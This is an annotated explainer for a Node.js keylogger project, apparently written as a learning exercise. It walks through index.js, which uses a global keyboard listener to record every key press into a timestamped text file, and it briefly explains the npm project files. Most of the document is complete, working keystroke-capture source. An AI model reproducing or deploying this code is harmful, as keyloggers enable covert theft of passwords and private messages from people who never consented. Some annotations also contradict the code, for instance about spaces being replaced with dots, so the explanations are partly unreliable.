

PROJECT : KEYLOGGER

(_Explainer file_)

Index.js :

```
'use strict';
```

→ Importing modules

✓ `const fs = require('fs');` file system module to handle file operation

✓ `const path = require('path');` path module to handle file path.

✓ `const { GlobalKeyboardListener } = require('node-global-key-listener');` module to listen global keyboard events.

// Create a new instance of the listener

```
const keyboardListener = new GlobalKeyboardListener();
```

// Get current date and time for the filename

```
const now = new Date();
```

```
const formattedDate = `${now.getDate()}-${now.getMonth() + 1}-${now.getFullYear()}`;
```

```
const formattedTime = `${now.getHours()}-${now.getMinutes()}`;
```

```
const fileName = `keystrokes-${formattedDate}-${formattedTime}.txt`;
```

```
const outputPath = path.join(__dirname, fileName);
```

// Create a write stream for the output file

```
const outputStream = fs.createWriteStream(outputPath, { flags: 'a' });
```

← Stream that append strokes to file as we type or click.

// Mapping of special key names to their formatted representation

```
const specialKeys = {
```

```
  'enter': '<enter>',
```

```
  'alt': '<alt>',
```

```
  'shift': '<shift>',
```

```
  'ctrl': '<ctrl>',
```

```
  'space': '<space>',
```

```
  'backspace': '<backspace>',
```

```
  'caps': '<caps>',
```

```
  'tab': '<tab>',
```

```
  'fn': '<fn>'
```

```
};
```

← Special formatting for modifier keys.
keys like shift that don't get's typed as char. but affect the text.

// Function to determine if a character is alphanumeric or special

```
function isAlphanumeric(char) {
```

```
  return /^[0-9a-zA-Z]+$/i.test(char);
```

```
}
```

// Event listener for key presses

```
keyboardListener.addListener(function (event) {
```

← Anonymous function without any name used as temporary fn.
method function takes event as parameter.

```
  if (event.state === 'DOWN') {
```

```
    let formattedKey = '';
```

```
    // Iterate over each character in the event.name
```

← To store formatted stroke, we are following a special format where modifier keys stays in a line, space replaced with '.' and strokes in diff rows.

↑ instance created above

Property of 'event' object passed to
'anonymous func.' it contains the name of keys & tells
which key is pressed.

```
for (let i = 0; i < event.name.length; i++) {  
  const char = event.name[i];  
  
  if (char === ' ') {  
    formattedKey += ' ';  
  } else if (specialKeys[char.toLowerCase()]) {  
    // Start a new line for modifier keys  
    if (formattedKey.trim().length > 0) {  
      outputStream.write('\n');  
    }  
    formattedKey += specialKeys[char.toLowerCase()];  
    outputStream.write(formattedKey + '\n');  
    formattedKey = '';  
  } else if (isAlphanumeric(char)) {  
    formattedKey += char;  
  } else {  
    // Start a new line for non-alphanumeric characters  
    if (formattedKey.trim().length > 0) {  
      outputStream.write('\n');  
    }  
    formattedKey += `<${char}>`;  
  }  
  
  // Add '.' between words  
  if (i < event.name.length - 1 && char !== ' ' && event.name[i + 1] !== ' ') {  
    formattedKey += ' ';  
  }  
}  
  
// Write the formatted keystroke to the file  
if (formattedKey.trim().length > 0) {  
  outputStream.write(formattedKey + '\n');  
}  
}  
});  
  
// Print initial message to indicate recording is active  
console.log(`\n\nRecording keystrokes...  \n\tPress CTRL + C to stop. \n\t\tOutput file:  
${fileName}`);  
  
// Handle process exit to ensure the output file is properly closed  
process.on('exit', () => {  
  outputStream.end();  
});  
  
process.on('SIGINT', () => {  
  console.log('Terminating the keylogger...');  
  process.exit();  
});
```

Text formatting before
appending

like replace space by '.'
every stroke / modifier
keys in a new rows
and all.

stops appending on
exit i.e. (CTRL+C)

final message

node_modules Folder

- This folder contains all the dependencies and modules required for the project. When you install a package using npm, it gets stored in this folder.

package.json

- This file holds metadata relevant to the project and lists the dependencies needed. It is essential for managing the project and ensuring that everyone working on the project uses the same dependencies.

package-lock.json

- This file is automatically generated when npm modifies either node_modules or package.json. It ensures that the exact version of dependencies is installed in case the project is shared or deployed, providing consistency across different environments.